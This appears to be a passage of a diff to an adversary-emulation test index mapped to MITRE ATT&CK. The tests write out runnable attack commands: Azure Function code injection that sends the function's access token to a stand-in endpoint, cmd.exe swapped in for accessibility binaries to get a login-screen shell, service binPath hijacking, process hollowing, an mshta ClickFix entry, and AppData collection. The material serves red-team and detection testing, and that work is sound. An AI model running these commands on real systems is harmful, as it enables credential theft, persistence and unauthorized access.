auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
description: 'This module executes notepad.exe from within the WINWORD.EXE process
@@ -24209,7 +23931,7 @@ defense-evasion:
-program "#{hollow_binary_path}" -debug
'
cleanup_command: |
cleanup_command: |-
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
T1564.009:
@@ -28037,9 +27759,9 @@ defense-evasion:
command: |
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
echo "*** Log Stream Created ***"
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
echo "*** Log Stream Deleted ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"
@@ -31775,7 +31497,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -31852,7 +31574,223 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
atomic_tests: []
identifier: T1550.001
atomic_tests:
- name: Azure - Functions code upload - Functions code injection via Blob upload
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
description: "This test injects code into an Azure Function (RCE).\n\nAttack
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
to T1550.001 \"Azure - Functions code upload - Functions code injection to
retrieve the Functions identity access token\", the depicted code injection
scenario tampers the source code of Azure Functions to perform Subscription
Privilege Escalation by retrieving the identity access token of an Azure functions
instance. In this case, the prepared zip file (underlying package for a Function)
is expected to contain the tampered function presented in src/code_to_insert.py.
Note that the endpoint https://changeme.net needs to be adapted in your packed
function code.\n\nNote:\n- The Azure Function modified in this test must be
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
\n- For Function code upload to Azure Functions that are hosted via Azure
Files in a File Share, refer to T1550.001 \"Azure - Functions code upload
- Functions code injection to retrieve the Functions identity access token\".\n-
The required input fields can be retrieved in a reconnaissance step in test
T1619 \"Azure - Enumerate Storage Account Objects via Key-based authentication
using Azure CLI\". The code of function apps may be inspected and prepared
from the result of test T1530 \"Azure - Dump Azure Storage Account Objects
via Azure CLI\".\n\nRequirements:\n- The test is intended to be executed in
interactive mode (with -Interactive parameter) in order to complete the az
login command when MFA is required.\n- The EntraID user must have the role
\"Storage Account Contributor\", or a role with similar permissions."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
container_name:
type: string
default: container_name_example
description: Name of the container that contains the function blob
blob_name:
type: string
default: blob_example
description: Name of the function blob
file_path_blob:
type: path
default: "$env:temp/T1550.001_function_code.zip"
description: Path to the function code file to upload as blob
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else { \n $connectionString = az storage account
show-connection-string --name \"#{storage_account_name}\" --query connectionString
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + \"#{blob_name}\")\n
\ az storage blob download --connection-string $connectionString --container-name
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
blob version if download of existing blob succeeded\n az storage
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}\n"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
- name: Azure - Functions code upload - Functions code injection via File Share
modification to retrieve the Functions identity access token
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
description: "This test injects code into an Azure Function (RCE) to perform
Subscription Privilege Escalation by retrieving the identity access token
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
executed, the \"https://changeme\" will retrieve the access token when the
function app is executed on behalf of the tenant. The function may be triggered
manually from authorized people, triggered in regular intervals, or in various
other ways. The access token can then be used to perform further attack steps
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
\n- The Azure Function modified in this test must be hosted via Azure Files
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
For Function code upload to Azure Functions that are hosted via Azure Blob
storage, refer to T1550.001 \"Azure - Functions code upload - Functions code
injection via Blob upload\".\n- The required input fields can be retrieved
in a reconnaissance step in test T1619 \"Azure - Enumerate Storage Account
Objects via Key-based authentication using Azure CLI\". The code of function
apps may be inspected and prepared from the result of test T1530 \"Azure -
Dump Azure Storage Account Objects via Azure CLI\".\n- Important: Change the
https://changeme.net in code_to_insert_path to a self-controlled endpoint.
This endpoint can be hosted e.g. as request bin via Pipedream to display the
body of incoming POST requests.\n- The default injected code to retrieve the
access token can be replaced by arbitrary other code. In this case: Replace
the code defined in code_to_insert_path\n\nRequirements:\n- The test is intended
to be executed in interactive mode (with -Interactive parameter) in order
to complete the az login command when MFA is required.\n- The EntraID user
must have the role \"Storage Account Contributor\", or a role with similar
permissions.\n\nExecution options: Defined by the input field execution_option\n-
insert_code: This option (1) downloads the existing funciton code into a tmp
file, (2) injects the code from code_to_insert_path at the beginning of the
file, and (3) uploads the tampered file to the targeted Azure Function code
(Azure File Share File).\n- replace_file: This option uploads the function
code defined in code_to_insert_path to the targeted Azure Function code (Azure
File Share File)."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
execution_option:
type: string
default: insert_code
description: Chooses execution option insert_code, or replace_file
file_share_name:
type: string
default: file_share_name_example
description: Name of the file share that is related to the Function
file_path:
type: path
default: site/wwwroot/function_app.py
description: Path to the Function file in the file share
code_to_insert_path:
type: path
default: "$PathToAtomicsFolder/T1550.001/src/code_to_insert.py"
description: The code that will be injected into the Function
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + $tmpOriginalFileName)\n
\ az storage file download --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
Upload new funciton code if download of existing code succeeded\n if
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
file from file share for injection\n $tmpFunctionCode = Join-Path
$env:temp/ (\"T1550.001_tmp_to_inject_\" + $tmpOriginalFileName)\n az
storage file download --account-name \"#{storage_account_name}\" --share-name
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code download failed.\"\n exit 1\n }\n
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
-Raw # Load the content of the insert file\n \n $content
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
\ $content | Set-Content -Path $tmpFunctionCode # Write
the modified content to the file\n \n # Upload file
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code upload failed.\"\n exit 1\n }\n
\ Write-Output \"Uploaded the tampered file\"\n } elseif
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
code upload failed.\"\n exit 1\n }\n Write-Output
\"Uploaded the tampered file\"\n } else {\n Write-Output
\"Please choose a valid execution_option\"\n exit 1\n }\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
T1078.004:
technique:
type: attack-pattern
@@ -36877,25 +36815,14 @@ privilege-escalation:
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
supported_platforms:
- windows
input_arguments:
service_name:
description: The name of the service that will be modified
type: string
default: Fax
service_binpath:
description: The default value for the binary path of the service
type: string
default: C:\WINDOWS\system32\fxssvc.exe
executor:
name: command_prompt
elevation_required: true
command: |
sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start #{service_name}
cleanup_command: 'sc config #{service_name} binPath= "#{service_binpath}"
>nul 2>&1
'
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start Fax
cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul
2>&1
- name: Service Installation CMD
auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6
description: |
@@ -42110,47 +42037,6 @@ privilege-escalation:
'
name: command_prompt
elevation_required: true
- name: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe
auto_generated_guid: 825ba8ca-71cc-436b-b1dd-ea0d5e109086
description: 'Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe.
This allows the user to launch an elevated command prompt by pressing the
Windows Key + P on the login screen.
'
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\DisplaySwitch.exe /A
icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe
cleanup_command: 'copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe
'
name: command_prompt
elevation_required: true
- name: Replace AtBroker.exe (App Switcher binary) with cmd.exe
auto_generated_guid: 210be7ea-d841-40ec-b3e1-ff610bb62744
description: 'Replace AtBroker.exe (App Switcher binary) with cmd.exe. This
allows the user to launch an elevated command prompt from the login screen
by locking and then unlocking the computer after toggling on any of the accessibility
tools in the Accessibility menu.
'
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\AtBroker.exe /A
icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe
cleanup_command: 'copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe
'
name: command_prompt
elevation_required: true
T1055.004:
technique:
type: attack-pattern
@@ -44570,9 +44456,6 @@ privilege-escalation:
default: C:\Windows\System32\calc.exe
executor:
command: |
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
@@ -46680,14 +46563,6 @@ privilege-escalation:
supported_platforms:
- windows
input_arguments:
script_download_url:
description: Download url for Start-Hollow.ps1
type: string
default: https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/720d8fe82396faf74f2ca19a3fe99a5c262a14b9/Start-Hollow.ps1
script_path:
description: Path to Start-Hollow.ps1
type: path
default: PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1
hollow_binary_path:
description: Path of the binary to hollow (executable that will run inside
the sponsor)
@@ -46707,7 +46582,7 @@ privilege-escalation:
default: notepad
executor:
command: |
. "#{script_path}"
. "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction
@@ -46715,21 +46590,6 @@ privilege-escalation:
'
name: powershell
dependency_executor_name: powershell
dependencies:
- description: 'Start-Hollow.ps1 must be installed
'
prereq_command: 'if (Test-Path "#{script_path}") {exit 0} else {exit 1}
'
get_prereq_command: |
try {
iwr "#{script_download_url}" -OutFile (New-Item -Path #{script_path} -Force)
} catch {
Write-Error $_
Exit 1
}
- name: RunPE via VBA
auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
description: 'This module executes notepad.exe from within the WINWORD.EXE process
@@ -46815,7 +46675,7 @@ privilege-escalation:
-program "#{hollow_binary_path}" -debug
'
cleanup_command: |
cleanup_command: |-
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
T1068:
@@ -53819,21 +53679,6 @@ execution:
cleanup_command: reg delete "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security"
/v "VBAWarnings" /f
name: powershell
- name: ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell
auto_generated_guid: 3f3120f0-7e50-4be2-88ae-54c61230cb9f
description: |
Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches `mshta.exe` with a remote payload.
This technique relies on user interaction (Win+R + Enter) to trigger execution.
Used in social engineering campaigns that aim to bypass traditional startup methods.
Reference: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
supported_platforms:
- windows
executor:
command: Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
-Name "atomictest" -Value '"C:\Windows\System32\mshta.exe" http://localhost/hello6.hta'
cleanup_command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
-Name "atomictest" -ErrorAction SilentlyContinue
name: powershell
T1053.003:
technique:
type: attack-pattern
@@ -61323,25 +61168,14 @@ persistence:
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
supported_platforms:
- windows
input_arguments:
service_name:
description: The name of the service that will be modified
type: string
default: Fax
service_binpath:
description: The default value for the binary path of the service
type: string
default: C:\WINDOWS\system32\fxssvc.exe
executor:
name: command_prompt
elevation_required: true
command: |
sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start #{service_name}
cleanup_command: 'sc config #{service_name} binPath= "#{service_binpath}"
>nul 2>&1
'
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start Fax
cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul
2>&1
- name: Service Installation CMD
auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6
description: |
@@ -68429,47 +68263,6 @@ persistence:
'
name: command_prompt
elevation_required: true
- name: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe
auto_generated_guid: 825ba8ca-71cc-436b-b1dd-ea0d5e109086
description: 'Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe.
This allows the user to launch an elevated command prompt by pressing the
Windows Key + P on the login screen.
'
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\DisplaySwitch.exe /A
icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe
cleanup_command: 'copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe
'
name: command_prompt
elevation_required: true
- name: Replace AtBroker.exe (App Switcher binary) with cmd.exe
auto_generated_guid: 210be7ea-d841-40ec-b3e1-ff610bb62744
description: 'Replace AtBroker.exe (App Switcher binary) with cmd.exe. This
allows the user to launch an elevated command prompt from the login screen
by locking and then unlocking the computer after toggling on any of the accessibility
tools in the Accessibility menu.
'
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\AtBroker.exe /A
icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe
cleanup_command: 'copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe
'
name: command_prompt
elevation_required: true
T1136.002:
technique:
type: attack-pattern
@@ -70771,9 +70564,6 @@ persistence:
default: C:\Windows\System32\calc.exe
executor:
command: |
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
@@ -85069,54 +84859,6 @@ collection:
cleanup_command: 'del #{output_file}
'
- name: Copy and Compress AppData Folder
auto_generated_guid: 05e8942e-f04f-460a-b560-f7781257feec
description: 'Copies the AppData folder, compresses it, and cleans up temporary
files.
'
supported_platforms:
- windows
input_arguments:
destination_folder:
type: Path
default: "$env:USERPROFILE\\Desktop\\AppDataCopy"
description: Temporary copy location
zip_file_path:
type: Path
default: "$env:USERPROFILE\\Desktop\\AppDataBackup.zip"
description: ZIP archive path
dependencies:
- description: Requires admin and .NET compression libraries
prereq_command: |
if (-not ([Security.Principal.WindowsPrincipal] `
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(`
[Security.Principal.WindowsBuiltInRole]::Administrator)) { exit 1 }
if (-not (Test-Path "$env:USERPROFILE\AppData")) { exit 1 }
get_prereq_command: 'Run PowerShell as Administrator and ensure .NET compression
assemblies are available.
'
executor:
name: powershell
elevation_required: true
command: |
$AppData="$env:USERPROFILE\AppData"
$Copy="#{destination_folder}"
$Zip="#{zip_file_path}"
if (Test-Path $Copy) { Remove-Item $Copy -Recurse -Force }
New-Item -ItemType Directory -Path $Copy | Out-Null
Get-ChildItem $AppData -Recurse -Force | ForEach-Object {
$rel = $_.FullName.Substring($AppData.Length + 1)
$dest = Join-Path $Copy $rel
if ($_.PSIsContainer) { New-Item -ItemType Directory -Path $dest -Force | Out-Null }
else { Copy-Item $_.FullName -Destination $dest -Force -ErrorAction SilentlyContinue }
}
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::CreateFromDirectory($Copy, $Zip, [System.IO.Compression.CompressionLevel]::Optimal, $false)
T1113:
technique:
type: attack-pattern
@@ -86039,22 +85781,13 @@ collection:
atomic_tests:
- name: using device audio capture commandlet
auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95
description: |
Uses AudioDeviceCmdlets to set the default recording device and simulate audio capture.
Module repo: [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)
description: "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n"
supported_platforms:
- windows
dependencies:
- description: AudioDeviceCmdlets module must be installed
prereq_command: "if (Get-Module -ListAvailable -Name AudioDeviceCmdlets) {
exit 0 } else { exit 1 } \n"
get_prereq_command: "Install with: Install-Module -Name AudioDeviceCmdlets
-Force\" \n"
executor:
command: |
$mic = Get-AudioDevice -Recording
Set-AudioDevice -ID $mic.ID
Start-Sleep -Seconds 5
command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
'
name: powershell
- name: Registry artefact when application use microphone
auto_generated_guid: 7a21cce2-6ada-4f7c-afd9-e1e9c481e44a
@@ -86919,6 +86652,99 @@ collection:
- 'Cloud Storage: Cloud Storage Access'
identifier: T1530
atomic_tests:
- name: Azure - Enumerate Azure Blobs with MicroBurst
auto_generated_guid: 3dab4bcc-667f-4459-aea7-4162dd2d6590
description: "Upon successful execution, this test will utilize a wordlist to
enumerate the public facing containers and blobs of a specified Azure storage
account. \nSee https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/
. \n"
supported_platforms:
- iaas:azure
input_arguments:
base:
description: Azure blob keyword to enumerate (Example, storage account name)
type: string
default: secure
output_file:
description: File to output results to
type: string
default: "$env:temp\\T1530Test1.txt"
wordlist:
description: File path to keywords for search permutations
type: string
default: PathToAtomicsFolder\..\ExternalPayloads\permutations.txt
dependency_executor_name: powershell
dependencies:
- description: 'The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit
0} else {exit 1}
'
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
- description: 'The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "#{wordlist}"){exit 0} else {exit 1}
'
get_prereq_command: 'invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt"
-outfile "#{wordlist}"
'
executor:
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue
'
name: powershell
- name: Azure - Scan for Anonymous Access to Azure Storage (Powershell)
auto_generated_guid: 146af1f1-b74e-4aa7-9895-505eb559b4b0
description: "Upon successful execution, this test will test for anonymous access
to Azure storage containers by invoking a web request and outputting the results
to a file. \nThe corresponding response could then be interpreted to determine
whether or not the resource/container exists, as well as other information.
\nSee https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
\ \n"
supported_platforms:
- iaas:azure
input_arguments:
base_name:
description: Azure storage account name to test
type: string
default: T1530Test2
output_file:
description: File to output results to
type: string
default: "$env:temp\\T1530Test2.txt"
container_name:
description: Container name to search for (optional)
type: string
default:
blob_name:
description: Blob name to search for (optional)
type: string
default:
executor:
command: |
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue
'
name: powershell
- name: AWS - Scan for Anonymous Access to S3
auto_generated_guid: 979356b9-b588-4e49-bba4-c35517c484f5
description: "Upon successful execution, this test will test for anonymous access
@@ -91872,7 +91698,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -91949,7 +91775,223 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
atomic_tests: []
identifier: T1550.001
atomic_tests:
- name: Azure - Functions code upload - Functions code injection via Blob upload
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
description: "This test injects code into an Azure Function (RCE).\n\nAttack
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
to T1550.001 \"Azure - Functions code upload - Functions code injection to
retrieve the Functions identity access token\", the depicted code injection
scenario tampers the source code of Azure Functions to perform Subscription
Privilege Escalation by retrieving the identity access token of an Azure functions
instance. In this case, the prepared zip file (underlying package for a Function)
is expected to contain the tampered function presented in src/code_to_insert.py.
Note that the endpoint https://changeme.net needs to be adapted in your packed
function code.\n\nNote:\n- The Azure Function modified in this test must be
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
\n- For Function code upload to Azure Functions that are hosted via Azure
Files in a File Share, refer to T1550.001 \"Azure - Functions code upload
- Functions code injection to retrieve the Functions identity access token\".\n-
The required input fields can be retrieved in a reconnaissance step in test
T1619 \"Azure - Enumerate Storage Account Objects via Key-based authentication
using Azure CLI\". The code of function apps may be inspected and prepared
from the result of test T1530 \"Azure - Dump Azure Storage Account Objects
via Azure CLI\".\n\nRequirements:\n- The test is intended to be executed in
interactive mode (with -Interactive parameter) in order to complete the az
login command when MFA is required.\n- The EntraID user must have the role
\"Storage Account Contributor\", or a role with similar permissions."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
container_name:
type: string
default: container_name_example
description: Name of the container that contains the function blob
blob_name:
type: string
default: blob_example
description: Name of the function blob
file_path_blob:
type: path
default: "$env:temp/T1550.001_function_code.zip"
